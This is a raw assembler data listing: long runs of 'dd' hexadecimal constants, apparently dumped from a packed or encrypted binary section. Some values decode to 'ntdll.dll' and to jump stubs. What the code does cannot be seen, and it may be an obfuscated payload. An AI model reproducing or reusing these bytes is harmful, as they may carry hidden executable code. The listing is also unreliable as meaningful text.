		dd 2EF1h, 83F00200h, 64FD4D65h,	0D8770EF0h, 7CB35B0Dh
		dd 0B4DE622Ch, 44294488h, 0B5E0EB3h, 857E86ADh,	4025EFF9h
		dd 85D0FB0h, 271AEACh, 0F0C90000h, 67886583h, 0A2432AE4h
		dd 0C3615304h, 603EC940h, 8E9C2F5Fh, 0C2BE44F7h, 93440241h
		dd 5A988309h, 28AB01ADh, 6D568074h, 267F98h, 0F0F80000h
		dd 1886583h, 0EF0AB29h,	0E1420977h, 442A8201h, 58C2C975h
		dd 60348065h, 8865F05Fh, 275A72F1h, 0D9000000h,	886583F0h
		dd 0F0AB2901h, 0EEA8770Eh, 0EF0C15Ah, 0DDA83F77h, 2A820160h
		dd 0F1C6BF44h, 546CE4B7h, 3E2B7585h, 2C6FC142h,	48B8F61Dh
		dd 0E079D1A7h, 5CB4EFB4h, 8F34DA89h, 36D9AC20h,	5D329FB1h
		dd 24587C54h, 2ED7BEF0h, 0BC29A348h, 9DC9AD1h, 5F0A4267h
		dd 0C4E98CE1h, 5D0D25CCh, 362B32E5h, 66C43B78h,	362B68Ah
		dd 164CB550h, 89FC0B6Fh, 909F207Ah, 28BD3BF3h, 4D05A045h
		dd 0E91EB793h, 3D62B4EFh, 5C4BB22Eh, 0A400EF8Dh, 97892EC1h
		dd 7311553Ah, 0C1B4EF70h, 37BB5C1Ah, 24265ED6h,	0B7D3F349h
		dd 9DFC26F9h, 69A5C6ADh, 237BAF93h, 550FAB4Ch, 0EF9B5CF5h
		dd 0BF35A0B4h, 618A6F02h, 0D2D7A449h, 606F3656h, 0AEE03468h
		dd 0F2AC20C9h, 0FD7B7C13h, 0C6E005E8h, 9BA33C0Ch, 6E67B4EFh
		dd 555CBF11h, 0B309DCF7h, 0ED593E93h, 0B4EF426Fh, 0BF58F0AAh
		dd 3DB4EF42h, 64F3D2AEh, 8AD412Ch, 5C1BFD40h, 14F21D91h
		dd 0A028B7FEh, 7CDE0232h, 24478BA9h, 0B309AE41h, 0FBB637DEh
		dd 247C8114h, 0A267A8Dh, 0C4E98CC6h, 7E1CF1A9h,	3EAFF75h
		dd 2ACFA2E2h, 85109579h, 0AE4F268Bh, 0EBC1533Eh, 0EF07C65Fh
		dd 0C0AF3AB4h, 0A8FC3088h, 0DA0E326Eh, 6330ED80h, 0FAB4F35Eh
		dd 76FE840h, 1ECDB4EFh,	4C1CA54Bh, 2A20A319h, 67C1A243h
		dd 6088F0E4h, 44B79546h, 4CDF2D12h, 288B492Bh, 0BF359AAEh
		dd 18102C4h, 912D305Eh,	0FC78275Fh, 6C75BDB7h, 37BA98h
		dd 0F0C50000h, 1836088h, 0EF0AB29h, 69AD6E77h, 0FC390881h
		dd 1ECDE440h, 2A8201A5h, 0F1C3A049h, 0B42DFDB7h, 44770EF0h
		dd 47120DB6h, 395A6AE9h, 1C000000h, 0AB01A649h,	6088F028h
		dd 0AB290183h, 0A8770EF0h, 0DE8E33C5h, 1473C8Bh, 0D3D0A647h
		dd 0B4D1BB3Ch, 2AD05329h, 4C06A049h, 0BAD2D7B9h, 0F064FD2Fh
		dd 0DD8770Eh, 72F13CB7h, 0EEB006Fh, 0E094E77h, 0E73ED773h
		dd 0D782770Eh, 78993182h, 0FD3A8EEDh, 6F35FFFFh, 770EF0F2h
		dd 5F0DABD8h, 0CD9F24CAh, 0EF0AC25h, 3BBC5C77h,	8429CC51h
		dd 6CB06CC4h, 375B59D2h, 7C10997Fh, 0E1E70CE9h,	36E9BEC6h
		dd 1F59FD48h, 78088DCh,	75770E1Ah, 0C7711BE6h, 0CDAB5026h
		dd 3BE69BFDh, 6B3DDD39h, 0B86C46DFh, 402FBA34h,	0D0D5A508h
		dd 0E529EBB8h, 0C2160A55h, 16C9CED6h, 2498957h,	2CEF0000h
		dd 49A7E19h, 3F0BA7D1h,	34B8A4A6h, 72F14F1Ah, 67886C01h
		dd 0A4846065h, 770EF026h, 41797702h, 1E6A09Eh, 88647E43h
		dd 5EB07ACEh, 56097511h, 0AB681E1Bh, 9BBA36B2h,	633598CCh
		dd 0C266205Eh, 710B8749h, 244420B7h, 5537BC59h,	0B26B02E3h
		dd 1E4ED5DAh, 73DEDFB3h, 0FE0390F5h, 30AED9EEh,	4C29BC76h
		dd 5BE1C9A7h, 0BE6F0E8Ch, 2D2ACC1Dh, 17ED525Ah,	0C208AB3Eh
		dd 9FE6D08Fh, 0D3B12CFh, 1DFC0000h, 9461F498h, 294796Fh
		dd 6E06EBF9h, 0E1B61B49h, 0FF3EB4D8h, 0AF3DC6ABh, 0D3B136DAh
		dd 4107AC4Eh, 0F09419FCh, 0C841E9A1h, 347105CEh, 432AE784h
		dd 0FA93B771h, 46770EF0h, 0F020B993h, 39C770Eh,	8261D600h
		dd 395E2544h, 0FA50AE31h, 0C28A11C2h, 5724DAA5h, 555E3F52h
		dd 0A498B0CEh, 0A27507CBh, 4EA7B37h, 5E2FE9FFh,	305537BCh
		dd 0BA3FD1B4h, 0FFA84FD2h, 0ADB05D18h, 90E9F711h, 0BB064305h
		dd 648D6EFFh, 5736E088h, 0C45538C1h, 8BF6413Fh,	6BF5556Dh
		dd 0D16F08B3h, 3BD96B0Ah, 6606E6DAh, 0C94EBh, 23C45700h
		dd 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh, 258876Dh
		dd 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h, 0CD21BA8Eh
		dd 0ED9F7105h, 0A2432A0Eh, 0F4F29D2Ah, 8F6D00BAh, 0F632B5A0h
		dd 0AC3B9B90h, 9092F8D0h, 3D907511h, 5530585Dh,	60379ACEh
		dd 137E095Fh, 764DDD95h, 0CA6F0486h, 0EFA9631Fh, 485C25Bh
		dd 0CDAB3E77h, 0AEE7D6B8h, 4BCFFF37h, 48942B2Eh, 6AF1F8AAh
		dd 954FC99Fh, 42D1CB5h,	7FF56077h, 6D7F846Ah, 80C8ED80h
		dd 19A27716h, 4B6914A3h, 43911B2Fh, 2EE87507h, 503811Ah
		dd 8C68FF71h, 0AB8F26B5h, 28E0D9ABh, 0BDF8D40h,	79180000h
		dd 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h, 0A352D0B4h
		dd 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h, 6CE54545h
		dd 0D07105CCh, 47014320h, 0EF06AE3h, 729A877h, 4A5D637Ah
		dd 26C99C4Bh, 0AF462B81h, 5E295E0Eh, 0FC022640h, 7A7511B7h
		dd 8714F9EFh, 9136F0A8h, 836EB94Dh, 6D9678CDh, 0D8DDB055h
		dd 0F04B085Ch, 0FF4B6785h, 7511F5B1h, 4890F86Fh, 710BD5CBh
		dd 7A129765h, 74050697h, 0E3E8E04Fh, 923D9DC1h,	667E7AAEh
		dd 61936A37h, 84h, 6A492A92h, 6E87F8Bh,	86C6AD68h, 19515A3Bh
		dd 0A503A474h, 139478C5h, 0E2079479h, 0BF5D30EEh, 0B937523Ah
		dd 4D65830Eh, 11BC6BFDh, 41E9A175h, 710B9EC8h, 0A10CC04Ah
		dd 958CD22Bh, 14387BC6h, 0E9E0D3EBh, 0AFFCC01h,	59380000h
		dd 0D0AD3054h, 3ED0A52Bh, 0AA42D7B5h, 1DF24705h, 0C372F094h
		dd 0EBF90297h, 1F4D7206h, 8DC3E88Ah, 3C505538h,	8C052565h
		dd 0F07105CBh, 492AA340h, 56292CA0h, 54000000h,	28A0492Ah
		dd 0B8F6F49Fh, 0F0B12AFEh, 580F770Eh, 86A2DCh, 7E7511F6h
		dd 5D5AC8EBh, 0E787E0D3h, 0AA06Ah, 37B85B00h, 8A2FCC51h
		dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h,	0A1345861h
		dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0CB2DA682h,	0E1937105h
		dd 0A6470102h, 66FF29CEh, 0DA770EF0h, 811120C5h, 0E9557D2h
		dd 0C73FD870h, 2EBD770Eh, 57583F52h, 20C5A835h,	0EB3FFDA8h
		dd 0E2079578h, 3201FFEAh, 996D252Ah, 23725h, 20F29300h
		dd 0EEA61D9Bh, 39B7C268h, 777DE81h, 87786454h, 5DB6F29h
		dd 837511A6h
		dd 738F99D4h, 5BA17B3Dh, 54F4B230h, 7F7D3C26h, 0BCD320F3h
		dd 42203FD4h, 7018CFE6h, 10AE4C37h, 0D9E2B756h,	0C31A4B63h
		dd 3B968175h, 0AFCB5657h, 0F8B637DEh, 8871EA3Eh, 18CF817Dh
		dd 0BF4EC89Ch, 3459D7D8h, 3B255C61h, 0E013412Eh, 9CBD508h
		dd 8D6C0000h, 4916468h,	7204E9FFh, 0DEB61B49h, 51268BD9h
		dd 8F4E24A8h, 0DF8D36DBh, 4301A64Ah, 0F1971CFEh, 6064896Ch
		dd 58F15951h, 0A47105CAh, 47015714h, 0EF06AE3h,	0A503D677h
		dd 0DE8E33C0h, 0A6C0DEA9h, 8046982h, 0BEFB075h,	0D8016AABh
		dd 66F5CCA8h, 0D0D5A548h, 0A44929BCh, 5FF8500Ah, 0DD71052Dh
		dd 0ADDAB20Eh, 0DBAAC4E2h, 8DD8B039h, 0D7B136DEh, 0D07836B2h
		dd 6F082836h, 0DF99D184h, 6B8A690Eh, 0C9DEC808h, 29CB9E65h
		dd 279DC880h, 7109AE42h, 6C0DFE9Ch, 0F590F847h,	0F2866B7Fh
		dd 631D9BCDh, 0EE418DB0h, 0C9C308E8h, 7704ED50h, 2E4339ACh
		dd 30FA647h, 0D0E6DA45h, 90B2538h, 4D2C0000h, 0C45124A8h
		dd 32C4A93Fh, 9E76DB89h, 11E64B19h, 0CF0EE4E8h,	9FCDF69Bh
		dd 341660Ah, 0B1D7DCBEh, 20A4492Ch, 98311991h, 0E47105C9h
		dd 0F0D89754h, 770EF04Fh, 0D3F92D07h, 0F9B12F5Ah, 11EBB751h
		dd 18560575h, 4A1EA375h, 525739CCh, 531E69D6h, 0BE35EF7h
		dd 44E4A271h, 710BE3CBh, 88DFAA31h, 3C7AC1EAh, 98130ECh
		dd 1F5B0E6Fh, 0CAEF8065h, 469C782h, 0B5184C71h,	0D6A2DDE2h
		dd 7BE6D6E8h, 8837E93h,	0D5A40000h, 4C29BCD0h, 0BA5C21A7h
		dd 26CE5331h, 997EC381h, 47F67C10h, 17757E13h, 9BC9EE82h
		dd 95F6436h, 0B82CD1A4h, 1089A119h, 6C7105CAh, 0F26F1FDCh
		dd 2770EF0h, 69064A6Bh,	42E6801Eh, 7511ABB1h, 0C0179748h
		dd 7E870A76h, 0B7631AAh, 4DD88F71h, 6F0BDEF7h, 99F3F89Eh
		dd 573670CCh, 0C5A83CC5h, 11F4B237h, 0D610B483h, 99713E71h
		dd 0B10F5A32h, 81BC5FD9h, 850EE2F6h, 2CED3A9h, 75000008h
		dd 4B6785F0h, 120735FFh, 6C7CEB75h, 0BC747C4h, 0B5FC571h
		dd 6A29172Dh, 1ADD093h,	0C7A60000h, 89DC8C35h, 482AB033h
		dd 47E3B95Bh, 770EF0CEh, 0B0D8A732h, 981E4ED5h,	92E213C7h
		dd 0E543B938h, 9DCFF080h, 50C9611Bh, 0AC770E7Ch, 472E4339h
		dd 0B95B26A6h, 6977630h, 716E1037h, 0B702B8B9h,	5034B0D5h
		dd 0EC8A2FCDh, 0F4707519h, 0CAAD394h, 0F8019372h, 417FF590h
		dd 0E8D38E9h, 6761F477h, 9AF2F39Ah, 0F596237h, 0E7577BB7h
		dd 8BFA2E06h, 8DE079D1h, 715C770Eh, 14711BA0h, 0BC5E3389h
		dd 8DCB44E4h, 0AA31770Eh, 562489DFh, 0CF5B15ADh, 770E8D56h
		dd 236942D4h, 247FA6FCh, 8B533BB1h, 770E9496h, 0D7B136DEh
		dd 4D1FA44Ah, 9A2468C4h, 0B7CF1311h, 0C3A2DCE5h, 5B2F852Eh
		dd 406508DDh, 58E75D08h, 1CF1892Fh, 0C3FD7B7Ch,	0E93E667h
		dd 0A6775A77h, 3EF8B61Dh, 0E9371EAh, 9C18CF77h,	0BF9161CCh
		dd 0E93F26Bh, 0C9B4E77h, 8025F558h, 6D9265C8h, 0E83C707Bh
		dd 0AF3DC256h, 717A1CF1h, 0FD0296FBh, 33B1DCEBh, 8ABDD377h
		dd 3F7B7511h, 0B9C72EBh, 8C1BCE71h, 0A575D8h, 0CD0DCE48h
		dd 7C153539h, 0C0710B0Eh, 7CA4415h, 632C9B11h, 781D2D45h
		dd 0F4710AF8h, 0F59A6761h, 63319CCCh, 0CDA30E5Eh, 9C21A424h
		dd 533A7CA0h, 0C0AF3A52h, 6605496Bh, 102178B5h,	0BD69F38h
		dd 294E1D71h, 473D2B8Ah, 3BA94E22h, 0AB3DC256h,	7E1733EDh
		dd 0C2710B0Ch, 0DF94217h, 252282EAh, 1795E04Fh,	0D1A1CF5Bh
		dd 821F6F0Eh, 0A28D6224h, 5A5F3D3Fh, 7DC85732h,	0F1F69A6Fh
		dd 0A247D4B9h, 3DDFA2C6h, 8766D0B4h, 5F6034F5h,	0F0FF74F0h
		dd 0FB94B485h, 41770EF0h, 0D7730F9Ah, 751208C5h, 11FCEC7Bh
		dd 6A697F84h, 466088F0h, 5329D2A7h, 0F076133Bh,	8EB2770Eh
		dd 52465E5Ah, 0A35D996Dh, 0C08831C2h, 0E50A8385h, 3911770Eh
		dd 770EE4A0h, 8356491Ch, 453725h, 2A400000h, 59186A49h
		dd 8B25E099h, 0B84AC3Ch, 3D770EDAh, 9C33555Ah, 67A2CD41h
		dd 0EC83C673h, 34545D33h, 1B82CA51h, 0E441F125h, 31C284C8h
		dd 0D734C488h, 11770E27h, 0DF638659h, 0BA9C7FC0h, 0FF8ADB3Eh
		dd 15AFFFFh, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch
		dd 504D2045h, 0D5AE35BEh, 88F0AC2Fh, 96F6FB98h,	18F64F3h
		dd 8E6A8F6Ch, 8074F9FAh, 7F986D56h, 36h, 9888F0F8h, 0CE9BCDF6h
		dd 29018263h, 770EF0B0h, 1E4590Ch, 0A0492A82h, 172F1C3h
		dd 24BD8D47h, 98770EF0h, 0F042DBCDh, 2BBE770Eh,	55D3D4A4h
		dd 3C40h, 88F0F300h, 29018360h,	770EF0B0h, 1BB38ADh, 616B8C6Ch
		dd 65FE4A64h, 0DB770EF0h, 3CF6B00Ch, 37D8C5A9h,	20A527B2h
		dd 0A527CCADh, 2ACF4420h, 0CFB85849h, 83C68627h, 0F1D4A934h
		dd 0BF442A72h, 0F08C052Dh, 0DBBC770Eh, 0F0AC2505h, 4510770Eh
		dd 7103EEFEh, 0B3D5DEB0h, 5A014BD6h, 2784365Ah,	0EF81D90Dh
		dd 8F7686CAh, 45770EECh, 0FFF39E76h, 492A8DFFh,	0F8019273h
		dd 0EF037D0h, 4BD68577h, 791F6A05h, 0EA841398h,	11FB305Eh
		dd 513BAE75h, 0BD30C89h, 0F0241871h, 6A2FDCE0h,	119B93h
		dd 5A240000h, 0Bh, 0FEAB491Ch, 0ECF99318h, 0F028AB01h
		dd 0FF4B6785h, 75120E09h, 55385007h, 9DAD23C8h,	710BCDC7h
		dd 0DCBE6B09h, 25A7482Fh, 0D6B3D5A0h, 0CE17B098h, 0F665710Bh
		dd 290656Bh, 0B3C6EFF9h, 750D51D3h, 816402A7h, 0C481CBF0h
		dd 0DEB10468h, 3EAC7D9h, 7286A2E2h, 7C81142Eh, 70744C41h
		dd 6F99ED56h, 0FAh, 1BC0934Dh, 36019CB5h, 1FE760A8h, 1632768Eh
		dd 768E1F7Dh, 0AE3D14C3h, 87F051D2h, 29018C61h,	770EF0ABh
		dd 0CEECF7A8h, 0C38B0424h, 6AF1770Eh, 0CB1BA055h, 9191427Ch
		dd 0F928F0E6h, 3C5FF850h, 0EDD770Eh, 14EC5A3h, 47AC8B6Ch
		dd 0B00A2041h, 2FB2DAA1h, 0A722AA4Bh, 0AD225CD8h, 2AFC547Bh
		dd 2FC1A243h, 9888F0ACh, 8A6BF6FBh, 8074A82Bh, 7F986D56h
		dd 31h,	8D5E01F8h, 1B86EE41h, 9CE45329h, 2901A71Ch, 770EF0B0h
		dd 1E4590Ch, 8B21D85Eh,	4FBCDDE6h, 4806E25Bh, 0A0492A4Bh
		dd 5A72F1C3h, 4Ch, 0E34701D9h, 770EF06Ah, 1AA503D6h, 0C85A572h
		dd 70770EF1h, 0EC15E6E5h, 2901AC01h, 770EF0B0h,	1BB38ADh
		dd 0A0492A82h, 63FC4C06h, 0BE770EF0h, 0EF0F16Ah, 0B9984F77h
		dd 1BB494D2h, 61770EF1h, 1857EFAh, 63658E6Ch, 473C8A66h
		dd 0FFFEFD5Ah, 432AD9FFh, 906104A2h, 8864616Bh,	757A1DE0h
		dd 8F2D5817h, 8157F3h, 0A83F7512h, 0E07B1820h, 8B89710Bh
		dd 3E4B5147h, 2704936Ah, 0B7000000h, 4B6785F0h,	11FF4DFFh
		dd 5A14C375h, 88C0E98Bh, 0FF0767DDh, 710BDF62h,	4A2E72AEh
		dd 936A4132h, 0E92Dh, 432A4E00h, 5933B85Ah, 0F0D24BDFh
		dd 0BB2E770Eh, 0D7DCB92Ch, 0D4742E48h, 770EF03Bh, 0E5EDA81h
		dd 219BD788h, 0DFEBAEAh, 0B43DD2B7h, 1A649D4h, 0F3F48469h
		dd 0E5881575h, 1B7C8CC0h, 76770E49h, 0EEFEFF97h, 85687DFBh
		dd 48FE97B3h, 9742770Eh, 0BDA4408h, 86EB416Ah, 0E99ECEEFh
		dd 0C266009Eh, 751165B4h, 96D1B722h, 0E2B5CDEBh, 77DF3F52h
		dd 66209C70h, 975CDC2h,	0E29C4B6Fh, 0B28F6E03h,	894F336Eh
		dd 0FE4301ECh, 25D19019h, 0B6E6D634h, 24F3BD6h,	9E80000h
		dd 801DE0E4h, 0EE80157Bh, 5A3287C5h, 0CDA23755h, 13C2A024h
		dd 5B09B247h, 0CF9D22F6h, 7D13987Ah, 0ECE005E8h, 0DC75D5D5h
		dd 207105C3h, 452AD390h
		dd 0E04802BCh, 770EF067h, 247106D5h, 0D6C64D90h, 6AFF9369h
		dd 8A446283h, 0E4725BEh, 70CC9B77h, 85F0671Ch, 4DFF4B67h
		dd 0C37511FFh, 8C27414h, 0BDFA720h, 0EA461571h,	0BDF45C2h
		dd 95DC371h, 6A41152Fh,	0C6D293h, 2A6D0000h, 6104A243h
		dd 0FE8E6A8Fh, 13757E13h, 0C65FEBA5h, 3A770EF0h, 98F9D1AFh
		dd 0D8770EF4h, 17F6B035h, 7A6F7982h, 683D3925h,	0A602DBB7h
		dd 17987FC2h, 4C22C375h, 137EC9A7h, 3F4DDD95h, 0BD75116Ah
		dd 820DBA2Eh, 0DABB4A64h, 56D2B7D1h, 4FA3018h, 0ED786F09h
		dd 5A5F30D5h, 0DDCEA336h, 972EB53Ah, 0E6D66CF5h, 667F927Ah
		dd 81000001h, 0A9FCDF2h, 0B90C4069h, 2BBED2D7h,	5B2EA243h
		dd 0D55F0DB6h, 169B7C2Ah, 0EA0BEF72h, 788113E6h, 0C9EE8114h
		dd 6CBCFA9Bh, 7105C2F3h, 2AC4A749h, 6E28BC45h, 0F0FB94B4h
		dd 9A41770Eh, 0FE0FF3C5h, 0CAA6D10Fh, 5BFCD0A7h, 1DDE7F4h
		dd 0E962AAF9h, 57770E3Eh, 2C573580h, 4A2432Ah, 0F065FE4Ah
		dd 0CDB770Eh, 0B533B859h, 0A548D5h, 5A58234Ch, 0EB920C1Ch
		dd 0FE8F7511h, 1BFC9318h, 1593F696h, 7C11A93Ch,	0B95A1499h
		dd 8B403B21h, 264A268Ch, 513BBC53h, 8A9E6B16h, 710B8211h
		dd 556DF86Fh, 82168F9Bh, 0FF6A710Bh, 0D2E34701h, 4E6F0495h
		dd 3D0ED89Bh, 3BD3E6DAh, 0A826h, 0FB04300h, 8227F459h
		dd 6C957BCEh, 0FC019578h, 4F7405E8h, 3E6CAB19h,	0A93C5059h
		dd 0DDA024C9h, 43D6BA3Fh, 3C450BACh, 0C135AE7Ah, 0F98B7105h
		dd 6785F07Ah, 18FC914Bh, 1490F597h, 8042B34h, 0B8A57675h
		dd 2D67E951h, 1ECDE440h, 0EB0CE34Eh, 0B27D10E5h, 268125E0h
		dd 473041E9h, 0FC8958E4h, 0FB0345D0h, 77289329h, 0D56DB18Fh
		dd 4B05BD42h, 0E49B66FFh, 0F88EA46Eh, 0BEEE35E7h, 1074F067h
		dd 83C5EA8Dh, 3751563Eh, 6A2C704Ch, 9B6E6283h, 4499F3F4h
		dd 11h,	23C4AB3Ah, 5E01CE45h, 0DAD31CF6h, 0CF8B6167h, 0A6472AD4h
		dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh,	476C0D90h
		dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 0F5680B40h, 89000071h
		dd 0C768241Ch, 89000065h, 8950240Ch, 405E0h, 0E8830000h
		dd 24048704h, 243C895Ch, 16BBB850h, 0C1890609h,	8324048Bh
		dd 0F86804C4h, 89000053h, 4832424h, 835F0424h, 148904ECh
		dd 89CA8924h, 0FF5A0857h, 815F2434h, 4C4h, 240C8B00h, 5E08950h
		dd 4, 8704C083h, 0E95C2404h, 0FFFA4CC5h, 3D65FCC0h, 995766CCh
		dd 0B83CA71Ah, 6093036h, 0C650C503h, 32F3985h, 25684706h
		dd 0FFCF3817h, 31359B5h, 0A7858D06h, 0FF060338h, 8DD88BD0h
		dd 30D0585h, 4685006h, 0FF000001h, 3985C6D3h, 5306032Fh
		dd 7F8BF68h, 59B5FF83h,	8D060313h, 338A785h, 89D0FF06h
		dd 9149C85h, 0DDBD8306h, 6032Ch, 0B840Fh, 9D8B0000h, 6030C0Dh
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 914A0B5h, 0FF535606h
		dd 3037D95h, 0A0B58D06h, 3060914h, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 14A0858Dh,	0FF500609h
		dd 9149C95h, 0E0FF5806h, 703D80CAh, 0B428ADDh, 24F93989h
		dd 4DF2E1Ah, 2476F0B7h,	7BE108F6h, 5D059BC0h, 651FEB92h
		dd 1A0AC56Ah, 744CD4E3h, 2D25AEACh, 35D32499h, 4D23F591h
		dd 8E05519h, 32768D8Dh,	6A0609h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 491B97C3h, 8D89F927h
		dd 60331D1h, 19499D23h,	9D290603h, 6033155h, 1E185C7h
		dd 5A4C0603h, 0B5890000h, 6032311h, 21BD85C7h, 603h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 47C17DC3h, 0F221DC70h, 59BD897Ch, 0E906030Bh, 7, 0BE7C24E4h
		dd 0FF836385h, 31A31B5h, 158B0F06h, 0E8000000h,	9, 71AE3ADAh
		dd 2114CEB3h, 3DB529BAh, 5E060321h, 269195FFh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0CF0F39C3h, 4F152F0Bh, 61858983h, 6A06032Eh,	0B995FF00h
		dd 8B06031Fh, 0B038EBC0h, 0D8F1237Ah, 0F504B02Eh, 15F1363Ch
		dd 9673E031h, 36762331h, 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h
		dd 8204670Ah, 7462880Ch, 0A82DFF03h, 654B8E88h,	0A1689D92h
		dd 0E8EC6290h, 7, 0CCEAAC3Eh, 0FCEA425h, 689h, 1D950900h
		dd 58060323h, 12E8h, 0EA46500h,	907C7639h, 4A4A6CB7h, 52302E58h
		dd 66342DD3h, 5F29AEBEh, 73B8C081h, 0E8600000h,	0Bh, 9C0CB6A0h
		dd 1875FB9Ah, 8B3D7B28h, 321F1B5h, 6E95A06h, 0BA000000h
		dd 11A2E771h, 0ABB961C2h, 0F900001Ch, 0FE930FFh, 0F000000h
		dd 0FC695236h, 0E93CD67Ch, 64844FC0h, 0E95BDD74h, 0Ch
		dd 927A4964h, 0CC05380Ch, 0F2183FCEh, 0AFE8EB81h, 8B6668BCh
		dd 17F381D6h, 667400E6h, 810E31BEh, 3E2D33C3h, 0DDBD8B6Fh
		dd 89060312h, 958D0118h, 81060332h, 7B2084E8h, 0E9B58B2Bh
		dd 81060331h, 7B2080C0h, 13E82Bh, 69BD0000h, 605027B5h
		dd 27E5A789h, 489E9DC0h, 6CBA4ABCh, 8D8509BFh, 5A06032Dh
		dd 19850F49h, 0E9000000h, 5, 0D3738BA4h, 1AE99Ch, 58360000h
		dd 750DCE4Ah, 4DCE5FAh,	2B9BD33h, 55E90603h, 31FFFFFFh
		dd 0CFEFFFB5h, 0DE8h, 73620100h, 0EE4AF898h, 0A239D258h
		dd 8960B663h, 32265BDh,	0E9BD8B06h, 6106030Ah, 0C081F958h
		dd 5B42h, 16AF68h, 0B5858900h, 5E06032Ah, 85C98166h, 5B30FF0Ch
		dd 0F38190B2h, 5D8BB2C5h, 31E18D89h, 0EB810603h, 6DC5830h
		dd 0EA23C381h, 0BD0B2F34h, 6030599h, 0A8C58053h, 2952008Fh
		dd 31E959Dh, 0E8835F06h, 9E903h, 52DB0000h, 9634E09Ch
		dd 48C918BCh, 31ED8D8Bh, 0F4E0603h, 0FFFFB085h,	418589FFh
		dd 0EB06031Dh, 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch
		dd 88006C6Ch, 34074621h, 0EFA3D25Dh, 565673h, 0
		dd 0E9000000h, 6A0h, 9360768h, 48D7E906h, 0DF68FFFAh, 0E9060936h
		dd 0FFFA48CDh, 9377168h, 48C3E906h, 4D68FFFAh, 0E9060938h
		dd 0FFFA48B9h, 9391F68h, 48AFE906h, 0E168FFFAh,	0E9060939h
		dd 0FFFA48A5h, 0E2E607EAh, 17757E1Fh, 81C7EC82h, 3157583Ch
		dd 0A226CBACh, 0B04115C0h, 20F0450Bh, 9664C99Fh, 3EA7F6Dh
		dd 0D3D7EEE2h, 5BCDE77h, 0D1922271h, 2B5Ah, 432AD900h
		dd 0B0472AA2h, 3CDF590Fh, 0A7226A41h, 0A8F0CC10h, 853522F1h
		dd 2FA8803Eh, 8D770EEAh, 0CD4A62DEh, 67770EEAh,	7B786C95h
		dd 94F25E01h, 0D2E70CEDh, 4D1267CBh, 6635F06h, 60CFA5E1h
		dd 21DB9715h, 0CDF28667h, 0ED642DBh, 4D2BBE77h,	11E8537Dh
		dd 4A02C975h, 0BE325A2h, 0BA3BDF71h, 1AA4FD2h, 3E62DE47h
		dd 1B4FF59Ch, 8151B768h, 88552130h, 3FD072Ch, 4BFA936Ah
		dd 5000002h, 0E0AB1FEEh, 0CE84A4C2h, 2B751209h,	0B533B85Ah
		dd 9AB2C99Ch, 0AD22638Ch, 0CDA0711Ch, 80C5872Ch, 0E1690F88h
		dd 13FE6DB4h, 79C9F357h, 0BD50B2E4h, 0E2B6D5DAh, 62DE8BDDh
		dd 0B3F49443h, 0B93ED2C8h, 932FBA2Fh, 920B1FD9h, 89B2E051h
		dd 0E05128A1h, 0CEC194B2h, 5C8D9D1Bh, 0B7B0DE3Fh, 3CB841D6h
		dd 553876E5h, 0D2853DC2h, 0A24A1B6Bh, 0F8A67C1Dh, 0DD972D6h
		dd 0B027B4E6h, 7D3B4F25h, 0A243C1DAh, 0DEB4640h, 51109578h
		dd 24F899DAh, 75924F1Fh, 2D000004h, 563BA94Eh, 0C5A83CC5h
		dd 77DA8E33h, 0E74A1E9Fh, 9FBE912h, 0F2F798CEh,	46670B9Eh
		dd 0D4DDBF02h, 0A54A2DB0h, 30189E27h, 7105BA97h, 19053E5h
		dd 0F06AE347h, 0F99A770Eh, 0D2CD98F0h, 31C4A907h, 0B95ADC8Ch
		dd 0BFB164D0h, 139C18CEh, 1C2C4A68h, 7511C7A2h,	66876EFFh
		dd 0C767E048h, 6D5710Bh, 88DC8BAAh, 0EF9A10E1h,	0BB91B9F1h
		dd 796F0EE0h, 57CF5658h, 0DBFC7057h, 1AF55D8Ch,	98D6BDDBh
		dd 0BAD14ADEh, 0B82F770Eh, 416820E7h, 64C0BBA7h, 30EB1F29h
		dd 88F30E74h, 0D2FC4C6Ah, 48DC7423h, 836E9365h,	1FD3BEC9h
		dd 2D3F2DDEh, 7F3B86BDh, 0A84D20C5h, 5FABFCCCh,	0FA61D66Eh
		dd 6B4629BCh, 3473C932h, 44089778h, 0E6991EF1h,	7E48276Dh
		dd 9D01DCACh, 0F5000003h, 7EC38126h, 0ED70149Dh, 1FE2E60Bh
		dd 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h,	0CB5472Ah
		dd 9D22F558h, 58F0B6CFh, 7105BABFh, 2AE88B3Dh, 9D2AA243h
		dd 6EBAF4F2h, 7511F310h, 2FD0A449h, 0BA3FD0BDh,	4C28B7D2h
		dd 0C5E2E675h, 0A6823CBAh, 6F051E48h, 8D4763F6h, 149015F8h
		dd 4B199E71h, 9E3713CDh, 0E27704BEh, 1CCF7DBDh,	9E65FD46h
		dd 7A84F22h, 6032D345h,	2752DD5Bh, 0DB59F189h, 597507B2h
		dd 5A00F3B2h, 3DCDE0D9h, 30B20h, 37B85B00h, 8A2FCC51h
		dd 149D73C6h, 0E409ED70h, 777C1DE0h, 36649311h,	0A1345861h
		dd 0D5B82CD1h, 5B2EA247h, 45D33B4h, 0B92DA682h,	0E1937105h
		dd 0A2432A02h, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 12088AA4h
		dd 27A53075h, 1B422h, 4CEE5100h, 0DDE2B657h, 0A43D0D8Bh
		dd 18770EF0h, 0BD0AE64Dh, 0A64B2CD2h, 9AD4A326h, 32DB3FE0h
